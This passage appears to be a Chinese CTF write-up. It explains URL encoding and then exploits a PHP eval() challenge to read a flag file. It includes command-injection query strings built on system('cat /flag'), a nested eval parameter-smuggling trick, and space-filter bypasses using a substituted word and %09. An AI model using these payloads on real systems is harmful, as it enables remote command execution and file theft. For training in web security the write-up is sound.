string(48) "%E4%BD%A0%E5%A5%BDI+am+a+space%E4%B8%96%E7%95%8C"
去除语义

URL 中的 特殊字符 需要通过 URL 字符编码来进行转换以使其 失去其在 URL 中的特殊含义

举个栗子

查询字符串由 一个或多个参数 组成,每个参数之间使用 & 符号 进行 分隔。如果查询字符串中的某一个参数中包含 & 符号,请问 阁下如何让程序将这个 & 理解为参数中的内容而不是参数与参数之间的连接标识呢?

此时,URL 字符编码 去除语义 的作用就体现出来了。通过将参数中的 & 进行 URL 编码以使得程序不再将其作为参数与参数之间的连接符来进行看待而只是将其视为普通的文本内容。

具体而言

?username=RedHeart&myflag=&x&

这段查询字符串仅包含两个参数,username 的参数值为 RedHeart,而 myflag 的参数值为 &x&

但实际上,这段查询字符串将被程序理解为三个参数,其中 username 的参数值为 RedHeart,而 myflagx 的参数值均为 空(什么也没有)

解决方案

将参数中的具有 URL 语义的特殊字符 & 转换为其对应的 URL 编码 %26,使 & 失去其语义即可。

?username=RedHeart&myflag=%26x%26
将不可见字符(如空格)转换为可见文本

空格和其他 空白字符 在 URL 中 不易阅读,可能导致 混淆或误解。通过将空白字符转换为 可识别 的形式,能够增强 URL 的 可读性及准确性

注:

在 URL 中,空格将被转换为 +,而制表符将被转换为 %09

捉迷藏

通过将 get 参数的值设置为 system() 语句,我们将能够使用命令行工具。ls 命令行工具将能够帮助我们摸清服务器的文件结构。对此,构造如下查询字符串:

?get=system('ls');

注:

get 参数的参数值将作为 eval() 函数的参数,而 eval() 函数将字符串形式的 PHP 代码进行执行,故请不要忘记 末尾的分号,虽然这分号看着有些别扭,但这是有效 PHP 语句不可或缺的部分。

执行效果

?get=system('ls'); 中的单引号将被浏览器进行 URL 编码 ,其编码结果为 %27

破壁

flag.php

在列举当前工作目录中的文件时,我们发现了一个较为特殊的 PHP 文件 flag.php。尝试使用 cat 命令行工具将其中的内容进行获取,构造如下查询字符串:

?get=system('cat flag.php');

不要忘记,F1l1l1l1l1lag.php 页面的三个判断语句将过滤 get 参数的值中的空格及 flag 文本。

嵌套 eval()

既然 get 参数的值存在限制,那么我们可以将 get 的值设置为 eval($_GET['?']); (理论上,? 可以表示任何文本)来接收另一个参数名为 ? 的值并将其作为 PHP 代码执行。这样,判断语句将检查 get 参数,而实际起破坏作用的代码却被我们转移到了另一个参数 ? 中。对此,构造如下查询字符串:

?get=eval($_GET['x']);&x=system('cat flag.php');

执行效果

页面空空如也,是我们的想法禁不住考验吗?

还记得吗?PHP 代码的起始部分和结束部分(如果有的话)包含 尖括号,而 HTML 页面会将尖括号包裹的内容视为标签用以构建页面的结构。虽然 <?php ... ?>HTML 中并不能起到啥作用,但 HTML 已经将其视为功能性标签,故不会将其显示在页面中。

此时,我们需要访问页面的源代码以获取 flag.php 文件中的内容。快捷键 Ctrl-U页面中右键点击查看源代码 以查看页面源代码。当然,你也可以通过浏览器提供的 开发者工具 查看页面源代码。

在页面的源代码中,我们获取到了这么一段 PHP 代码:

<?php
$FLAG = file_get_contents('/flag');

?>

这段代码意在提示我们 真正的 flag 存在于文件 /flag 中。

/flag

构造如下查询字符串获取 /flag 中的内容即得 flag

?get=eval($_GET['x']);&x=system('cat /flag');

其他绕过姿势

实际上,这类命令执行漏洞的题目,flag 往往存在于 根目录下的某个文件 中。在大多数情况下,获取其他路径下的包含 flag 相关字样的文件(在本题中是 flag.php)中的内容是多此一举。这意味着我们可以直接通过 cat 及通配符获取根路径 / 下的所有文件的内容。你可能会认为这将获取到 太多的文件内容 而导致目标内容 难以被筛选 出来。事实上,根路径下 多为目录,而 cat 作用在目录上将 不会获取到任何内容
假使上述猜想成立,我们现在需要解决的问题就是 绕过判断语句对空格的过滤

借力打力

仔细观察 F1l1l1l1l1lag.php 页面中的源代码,你会发现第二个判断语句将空格过滤了但却执行了将 flag 替换为 空格 的操作,这意味着我们可以 将 flag 当作空格使用。判断 get 参数值的长度是否大于 18 字节 语句在替换发生之后,因此使用 4 个字节大小的 flag 代替空格并 不会导致 get 参数值的长度大小控制过于窘迫

if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }

}

因此,使用如下查询字符串访问页面即可得 flag

?get=system('catflag/*');
%09

既然空格被过滤了,那我们可以尝试使用同为空白字符的 制表符(大多数情况,Tab 键按下即得制表符)代替空格。但浏览器界面下,按下 Tab 键意味着 切换焦点元素,这使得我们无法正常输入 制表符。通过使用制表符的 URL 编码形式 %09 即可解决这个问题。

因此,使用如下查询字符串访问页面即可得 flag

?get=system('cat%09/*');
;